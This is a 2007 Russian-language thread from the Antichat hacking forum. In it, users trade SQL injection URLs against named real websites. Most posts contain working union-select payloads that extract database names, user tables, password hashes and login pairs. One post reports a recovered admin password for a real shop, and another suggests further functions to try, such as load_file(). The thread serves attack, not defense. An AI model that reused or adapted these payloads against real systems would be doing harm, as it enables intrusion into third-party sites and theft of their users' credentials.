Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
02.02.2007, 17:31
|
|
Познающий
Регистрация: 28.12.2006
Сообщений: 44
Провел на форуме:
119257
Репутация:
56
|
|
Научился, сделал:
http://pct.ru/news.htm?id=-1+union+select+1,2,database(),4,user()/*
Что можно сделать ещё кроме database() user() ersion() и подобных ?
|
|
|
02.02.2007, 18:04
|
|
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
Провел на форуме:
3536885
Репутация:
447
|
|
Сообщение от InferNo23
http://notes.asdplus.ru/shop/
около 100юзеров
http://notes.asdplus.ru/shop/view.php?id=-1+union+select+1,2,3,4,5,6,7,name,9,10,11,12,13,14 ,email,nick,17,18,pass,20+from+users+limit+1,2/*
админку не нашел=\ пасс: 31415 логин: admin
http://notes.asdplus.ru:2082/login/ тока логин и пасс не подходят 
Сообщение от RaDDeaD
Научился, сделал:
Что можно сделать ещё кроме database() user() ersion() и подобных ?
для начала вот зашиврованный пасс админа
http://pct.ru/news.htm?id=-1+union+select+1,2,3,4,user_password+from+phpbb_us ers+where+user_id=2/* также есть таблица users 
Последний раз редактировалось }{0TT@БЬ)Ч; 02.02.2007 в 19:37..
|
|
|
|
02.02.2007, 20:11
|
|
Познающий
Регистрация: 28.07.2005
Сообщений: 61
Провел на форуме:
167021
Репутация:
19
|
|
Чтото не могу таблицу найти!
http://www.origami.as/gallery.php?gallery=17&image=-304+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15;
Здесь даже не пробовал!
http://vechirka.kiev.ua/issue.php?np=232&id_issue=7'
http://www.totalmusic.ru/default.php?labels_id=172'&page=1&sort=4a'
Здесь есть пароль нет логина:
ttp://transatlas.com.ua/forum/index.php?mode=file&whichuser=-60+union+select+1,concat(id,char(58),pass),3,4,5,6 ,7,8,9,10,11,12,13,14,15,16,17,18+from%20+users+wh ere+id=5/*
Последний раз редактировалось Ig-FoX; 02.02.2007 в 20:13..
|
|
|
|
02.02.2007, 20:53
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520
Репутация:
2996
|
|
2Rebz
Да нет, это ты не сделал там нету таблицы admin.
http://www.aceton.pl/category.php?id=-1+union+select+1,2,3,4+from+admin/*
http://www.aceton.pl/category.php?id=-1+union+select+1,2,3,4+Rebz_lol/*
|
|
|
|
02.02.2007, 20:55
|
|
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
Провел на форуме:
3536885
Репутация:
447
|
|
http://transatlas.com.ua/forum/index.php?mode=file&whichuser=-60+union+select+1,concat(id,char(58),pass,char(58) , name),3,4,5,6%20,7,8,9,10,11,12,13,14,15,16,17,18+from +users+where+id=5/* Ig-FoX а это что тогда? 
Последний раз редактировалось }{0TT@БЬ)Ч; 02.02.2007 в 21:18..
|
|
|
|
02.02.2007, 20:57
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520
Репутация:
2996
|
|
Что можно сделать ещё кроме database() user() ersion() и подобных ?
system_user() now() load_file() count(*)
|
|
|
|
02.02.2007, 21:47
|
|
Познающий
Регистрация: 28.07.2005
Сообщений: 61
Провел на форуме:
167021
Репутация:
19
|
|
http://transatlas.com.ua/forum/index.php?mode=file&whichuser=-60+union+select+1,concat(id,char(58),pass,char(58) ,name),3,4,5,6%20,7,8,9,10,11,12,13,14,15,16,17,18 +from +users+where+id=5/* Ig-FoX а это что тогда?
Это нейм, но он для авторизацыи не используется! Для авторизыцыи используется другой. по сути логин но сгенерированый уже самим форумом!
|
|
|
|
02.02.2007, 21:52
|
|
Участник форума
Регистрация: 05.12.2006
Сообщений: 112
Провел на форуме:
685950
Репутация:
175
|
|
http://www.perlovka.ru/shownews.php?op=show&n_id=-1+union+select+1,2,table_name,4,5+from+information _schema.tables+limit+21,1/*
|
|
|
|
02.02.2007, 22:40
|
|
Участник форума
Регистрация: 07.12.2006
Сообщений: 192
Провел на форуме:
492591
Репутация:
123
|
|
http://gramota.ru/idictation/idictation.php?id=-1+union+select+1,2,3,4,5/*
http://www.fondsk.ru/article.php?id=495+union+select+1,2,3,4,5,6,7,8,9, 10,11/*
\\\\\
http://www.webmascon.com/archive/topic.asp?id=11%20or%201=1--
http://www.kazsu.kz/main.aspx?id=471'
вот эти две на mssql, ничего вывести не получилось, кто хочет можете попробывать
\\\\\
http://www.vesti7.ru/news?id=9671
http://www.nbu.com/news/read.php?id=935
эти очень похожи на инъекцию, но подобрать кол столбцов не получилось
|
|
|
|
02.02.2007, 23:01
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 551
Провел на форуме:
4908597
Репутация:
1866
|
|
"Ляпис Трубецкой"
http://www.lyapis.com/news_full.php?type=news&id=-99'+union+select+1,2,3,4,concat(login,0x3a,passwor d)+from+users+limit+1,1/* |
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
